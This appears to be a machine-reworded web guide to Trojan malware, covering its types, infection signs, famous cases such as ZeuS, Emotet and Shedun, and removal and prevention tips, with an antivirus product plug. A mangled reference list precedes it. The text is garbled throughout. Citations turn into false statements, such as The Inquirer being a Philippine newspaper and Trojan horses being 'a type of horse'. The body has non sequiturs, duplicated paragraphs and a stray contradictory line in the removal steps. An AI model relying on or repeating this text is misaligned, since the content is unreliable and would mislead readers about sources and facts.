- In Wood, Patrick H., and Kochan, Stephen G. (1985), UNIX System Security (Hayden Books, p. 42, ISBN 0-8104-6267-2), UNIX System Security is defined as Kulakow and Seth (1998). Was it still a Trojan horse or was it actually a legitimate Remote Control Administration Tool? ” (Report). The SANS Institute is a non-profit organization dedicated to information security. Retrieved on May 10, 2021
- “Mega-Panzer.” SourceForge
- “Mini-Panzer.” SourceForge
- “Trojanized adware family abuses accessibility service to install any applications it wants – Lookout Blog”
- “Trojanized adware family abuses accessibility service to install whatever apps it wants – Lookout Blog”
- Dave and Neal (November 20, 2015). “The Android Accessibility Service is under attack by the Shedun trojan adware.” The Inquirer is a newspaper published in the Philippines. Incisive Business Media is a marketing firm that specializes in incisive business communications. The original version of this article was published on November 22, 2015. Retrieved March 27, 2020.:CS1 maint: unsuitable URL (link)
- “Lookout discovers new trojanized adware
- 20K popular applications caught in the crossfire – Lookout Blog”
- 20K popular apps caught in the crossfire – Lookout Blog”
- “The malware Shuanet, ShiftyBug, and Shedun has the potential to auto-root your Android.” The New York Times and Technology Review published an article on November 5, 2015. (November 9, 2015). “Welcome to Shedun, Shuanet, and ShiftyBug, a new family of Android malware that is virtually impossible to remove”
- “Android adware may install itself even when consumers explicitly refuse it” On November 19, 2015, Collins Advanced Dictionary defined “trojan” as “trojan horse.” “trojan horse.”Microsoft Style Guide. Microsoft. RetrievedMarch 29,2020
- “trojan horse.”Microsoft Style Guide. Microsoft. RetrievedMarch 29,2020
- At Wikimedia Commons, you can find images and videos related to Trojan horse (malware) “CA-1999-02 is a CERT advisory. Trojan Horses are a type of horse that is used to deceive others” (PDF). The Software Engineering Institute at Carnegie Mellon University is a research center dedicated to software engineering. The original version of this article was archived on October 17, 2000. 15th of September, 2019
What Is Trojan Malware? The Ultimate Guide
Trojan horse malware is defined as a file, program, or piece of code that looks to be normal and safe, but is actually malicious software or code. Trojan horses are malicious software that is bundled and deployed within genuine software (thus the name), and they are frequently used to spy on and steal information from their victims. Many Trojans also have the ability to download new infections once they have been installed. The Trojan Horse, which appears in the Greek epic poemThe Iliad, is credited with giving the Trojan its name.
However, a legion of troops was hidden under the horse’s belly, and they emerged under the cover of darkness to devastate the city of Troy from behind its walls.
How do Trojans work?
Trojans operate by disguising themselves as genuine files, with the objective of deceiving their victims into opening, installing, or clicking on them. Once this occurs, the Trojan begins installing malware on your device, spying on you, or performing other forms of damage to your computer. Email Trojans, for example, will utilize social engineering tactics to make themselves appear like common email attachments. It is also possible that the email itself will appear to be legitimate, but it is actually a fake email sent by a cybercriminal.
When you open the attachment, the Trojan is activated and begins to assault your computer or mobile device. When it comes to the Trojan horse definition, deception is a critical component.
Is a Trojan a virus or malware?
Trojans are not viruses, although they are a sort of malware that may infect a computer. Trojan viruses or Trojan horse viruses are terms that are frequently used to refer to viruses, however there are no such things. This is owing to a significant variation in the manner in which viruses and Trojans infect their victims. Unlike viruses, which multiply themselves and propagate from one victim to the next, Trojans require you to install them. Viruses and Trojan horse malware are distinguished by the difference made between the two types of malware.
Trojans are not viruses, although they are a sort of malware that may infect a computer.
How to recognize a Trojan attack
Despite the fact that Trojan horse programs are deceptive, if you know what to look for, you can identify the indicators of a Trojan infection and begin the process of Trojan removal. A Trojan malware assault will often exhibit the following characteristics:
- Your computer feels sluggish Trojans frequently include the installation of additional malware, which when combined can consume a significant amount of computing resources. Remove the Trojan virus infestation from your computer or other device in order to increase its performance. The program crashes and freezes. Trojans have the potential to overwhelm your computer, resulting in crashes or other failures. Whenever you encounter the famed Blue Screen of Death, it’s a reason for alarm. Apps that are unfamiliar to you are installed on your smartphone. A large number of Trojans include the installation of other malware. Find out what you’re looking at if you notice anything unusual in your Windows Task Manager or macOS Activity Monitor — it could be malicious software
- Internet redirection are common. Some Trojanschange your DNS settingsor alter your browser to send you to malicious sites that might steal your data or infect you with more software
- Desktop, taskbar, and browser customizations are available. You may notice new icons on your desktop or in your taskbar as the Trojan attempts to infect your computer with new malware or make other changes to your computer. Browser toolbars or plugins that you did not install yourself should also be avoided
- These are known as browser hijackers. More pop-ups will appear. Are you seeing more pop-ups than usual? A Trojan may have installedadwareon your device
- Your antivirus software is deactivated Trojans and other malware don’t want to be detected and removed — so they’ll try to turn off yourantivirus software. Protect yourself against Trojans and other malware with a free antivirus solution that stops them before they can inflict harm
When Trojans attempt to infect your devices, Avast Free Antivirus identifies and prevents them from doing so. Additionally, it will remove any viruses that are already present on your computer. Make use of an award-winning antivirus program to keep yourself safe from Trojans.
Types of Trojan malware
Backdoor Trojans are used by cybercriminals to gain access to your device through a “backdoor,” which allows them to access your computer without your permission. This backdoor is frequently used to infect your computer with new software, spy on you and gather your data, or enlist your machine in a botnet’s network.
Banking Trojans infect your devices and steal the login information to your bank accounts. Hackers make use of them to get access to your banking and other financial information. The Zeus Trojan, one of the most infamous Trojans in history, was a financial Trojan that infected computers throughout the world.
In order to recruit your device into a botnet, which is a network of interconnected devices controlled remotely by a hacker known as the bot herder, DDoS Trojans must be installed on your device. They plan to utilize the botnet to launch distributed denial of service (DDoS) assaults on other websites and internet services, causing them to go down.
Dropper or downloader Trojans
In the case of ablended attack, droppers are the initial stage in a three-part malware package that includes a dropper, a loader, and further malware (often arootkit). After infecting your device, thedropperTrojan prepares the way for theloader, which in turn installs arootkit on your device, which grants access to a hacker to your device. Other downloader Trojans will infect your computer with other sorts of malware.
In ablended attack, droppers are the initial step of a three-part malware package that includes a dropper, a loader, and more malicious code (often arootkit).
After infecting your device, thedropperTrojan prepares the way for theloader, which in turn installs arootkit on your device, which grants access to a hacker to your information. Some additional Trojans that download and install malware will infect your system.
Fake antivirus Trojans
Fake antivirus software is a particularly harmful sort of scareware. Trojans pose as antivirus software that detects viruses and other malware on your system, then pressure you into purchasing protection software that is either ineffective or actively dangerous. When you make a payment, the Trojan author receives your payment information.
Gaming Trojans are designed to prey on internet gamers and steal their login information. Hackers can use this to compromise the accounts of well-known gamers or to steal expensive in-game stuff, among other things.
The purpose of infostealer Trojans is to steal information from their victims. They’ll go through your device for any critical personal information, and then transmit it back to the hacker who originally attacked you. Cybercriminals can use this information to perpetrate fraud or identity theft on unsuspecting victims.
Instant message Trojans
Aimed against the instant messaging (IM) programs on your smartphone, IM Trojans steal and use your login credentials to get access to your contact list. However, spyware is always changing, and newer instant messaging programs that employ encryption, such as WhatsApp or Signal, are less susceptible than older services such as Skype or MSN Messenger.
In the age of webmail services like as Gmail and mailfinder, this is less of a threat. Trojans prey on email clients such as Microsoft Office and harvest their users’ email addresses. In their spamming and phishing campaigns, cybercriminals can use any stolen email addresses as a starting point.
Ransomware is a sort of software that prevents you from accessing your data or device, and then threatens to publish, permanently withhold, or destroy the data unless you pay a ransom in exchange for access. In order to trick victims into activating ransomware, ransomware Trojans employ deception.
Infected mobile devices, generally Android smartphones, are infected with SMS Trojans, which either transmit pricey SMS messages to premium services operated by the cybercriminal or intercept SMS communications sent to and from your device.
Examples of Trojan horse attacks
Some of the most well-known cyberattacks in history have been perpetrated with Trojan horse software. A glance at some of the most well-known Trojans may be seen below.
Initially appearing in a data theft attempt against the United States Department of Transportation, the ZeuS Trojan initially surfaced in 2007. ZeuS, a banking Trojan that is largely known for its ability to steal financial information from websites, is typically used to do so using two browser-based techniques:
- When you type information into your browser, the Trojan will record your keystrokes and save them. Form grabbing: When you log into a website, ZeuS can intercept your login and password.
ZeuS spread primarily through phishing emails and automated drive-by downloads from compromised websites, eventually infecting millions of machines. As a result, it was used to construct Gameover ZeuS, one of the most renowned botnets of all time, which was used to infect millions of computers.
Emotet was first identified as a banking Trojan in 2014, and it has evolved since then. However, as thieves began utilizing it to deliver other viruses in its place, Emotet became a major player in the cybersecurity industry. Emotet was a virus strain that was widely regarded as one of the most destructive malware strains ever generated. It targeted both corporate and individual victims through enormous spam and phishing campaigns. A botnet was created using the virus, which was then rented out to other cybercriminals who were interested in learning how to use it.
The malware was distributed using a malware-as-a-service (MaaS) approach. Emotet was eventually brought down in 2021 as a result of a concerted international law enforcement operation.
Tornadoes aren’t only for Windows anymore; Shedun is an Androidadware Trojan. An Android Trojan horse that repackages legal Android apps with fake advertising before posting them on third-party download sites is known as a Trojan horse. When you download and install the program from one of these websites, you are also downloading and installing adware. Once you’ve downloaded and installed the infected program, you’ll be bombarded with advertisements that earn cash for the attacker. It is extremely tough to remove spyware from your Android handset, and the majority of victims have chosen to purchase new devices instead.
Can Trojans affect mobile devices?
Trojan horses are capable of infecting mobile devices as well as desktop and notebook PCs. It has been discovered that Trojan horse software has infected both Android and iOS devices, albeit Android Trojans are significantly more prevalent. According to recent reports, theGriftHorse Trojan is an Android SMS Trojan that encourages victims to subscribe to premium messaging services in order to make income for the attacker. So far, it has had a negative impact on more than 10 million people throughout the world.
In 2016, researchers discovered that theAceDeceiver iOS Trojan was capable of infecting non-jailbroken iOS devices.
Learn how to remove spyware from your iPhone so that you will be prepared if something like this occurs to you.
How to remove Trojan malware
It is recommended that you use professional Trojan removal software to remove Trojan malware from your computer or other device. Trojans are removed in a manner similar to the manner in which viruses and other malware are removed from your computer.
- Install antivirus software from a reputable vendor
- And Safe Mode should be enabled. In order to prevent malware from operating or accessing the internet, restart your computer in Safe Mode. Remove temporary files from your computer
- Temporary files may be removed from your computer using the Disk Cleanup application. This will allow you to scan for malware more quickly in the future
- Malware should be checked on your computer. Scan your computer with your antivirus software to check for Trojans and other viruses. Your malware detection and removal program should be able to detect and remove the infection automatically. Recover deleted or corrupted files or data
- If you’ve been routinely backing up your computer, you should be able to recover any damaged files or data from your backup
- However, this is not recommended.
How to prevent Trojan horse attacks
- Apps and software should only be downloaded from official sources. Trojans are commonly hosted on third-party software download sites. Choose to purchase your software directly from the manufacturer or through official portals such as the Apple App Store or Google Play – though these have been infiltrated by Trojans in the past, they are still far safer than alternative options
- Do not open any unfamiliar email attachments or click on any unusual links in any emails. Malicious email messages are an extremely frequent channel for the distribution of Trojans. You should avoid opening any files or clicking on any links in emails that you did not expect to receive. Even though the email appears to be legitimate, it may have been faked by a cybercriminal. Use an ad blocker or a secure browser to avoid being tracked. Some Trojans propagate through the use of malicious online advertisements. The use of an ad blocker or private browser will prevent these and other advertisements from loading in your browser, preventing infected websites from infecting your computer with a Trojan horse. Avast Secure Browseris a highly secure browser that automatically filters advertisements and protects you against harmful downloads
- Free software should be treated with caution. Free games and other ostensibly helpful programs are frequently used by Trojan authors to conceal their Trojans. Whenever you’re preparing to install something new, make sure to do your homework and check user reviews first. Don’t click on online advertisements or links that are new to you. Not all drive-by downloads are managed via malvertising, as several examples show. Websites developed by malware writers that may automatically install Trojans and other malware onto your computer the moment you view them are known as “malicious websites.” By avoiding unfamiliar websites, you can lower your chances of installing a Trojan. Make use of an antivirus program. Trojans will be kept off your device automatically if you use a powerful antivirus product from a respected vendor. Opt for one that also functions as a malware removal tool, capable of detecting and removing Trojans and other malicious software from your devices.
Defend against Trojans with comprehensive security
Despite the fact that there are many different forms of Trojan horse virus, they are all designed to trick you into downloading and installing them. That is one of the reasons why Trojans may be difficult to identify – they appear to be legitimate software. The most effective approach to defend oneself against Trojans is to utilize dependable security software that can automatically identify, block, and remove all types of malware and viruses. So the Trojan will have no chance of fooling you in this manner.